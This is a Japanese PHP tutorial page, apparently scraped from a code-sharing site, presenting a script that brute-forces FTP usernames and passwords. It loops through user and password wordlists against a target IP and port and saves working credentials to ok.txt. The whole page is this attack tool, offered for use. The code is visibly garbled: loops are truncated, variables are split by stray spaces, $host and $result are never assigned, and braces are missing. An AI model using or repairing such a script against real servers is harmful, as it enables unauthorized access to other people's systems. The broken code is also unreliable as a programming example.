ホームページ >バックエンド開発 >PHPチュートリアル >FTPのユーザー名とパスワードを解読する(PHP演習)_PHPチュートリアル
//使用法: php this file.php FTP IP ポート ユーザー辞書パスワード辞書、例: php ftp.php 192.168.8.10 21 user.dic pass.dic。スリープの秒数は自分で変更できます。侵害が成功すると、ユーザー名とパスワードが同じディレクトリの ok.txt に保存されます。
//それぞれ異なるユーザー名とN個のパスワードを取得します
$user=file($_SERVER["argv"][3]);
$pass=file($_SERVER["argv"][4]);
$ countuser=count($user);
$countpass=count($pass);
$n=0;
do
{
for($i=0;$iecho "$user[$n],$pass[$i]";
ftplogin($user[$n] ],$pass[$i]);//ftp 関数を呼び出します
sleep(5);//ftp がクラッシュするのを防ぎ、5 秒間一時停止します
countuser);
;
//FTP 関数、ログインに成功したら、正しいユーザー名とパスワードをこのディレクトリの ok.txt に書き込みます
function ftplogin($username,$password){
//global $username, $password;
$port=$_SERVER["argv"][2];
$conn = ftp_connect($host,$port);
if(!$conn){
echo "FTP に接続できません";
exit;
}
if(!$result){
echo "error";
ftp_quit($ conn) ;
}
else{
echo "------------------------------------------------->ok";
fputs (fopen(ok.txt,a+),"ユーザー名:".$username."パスワード:".$password);
?>
www.bkjia.com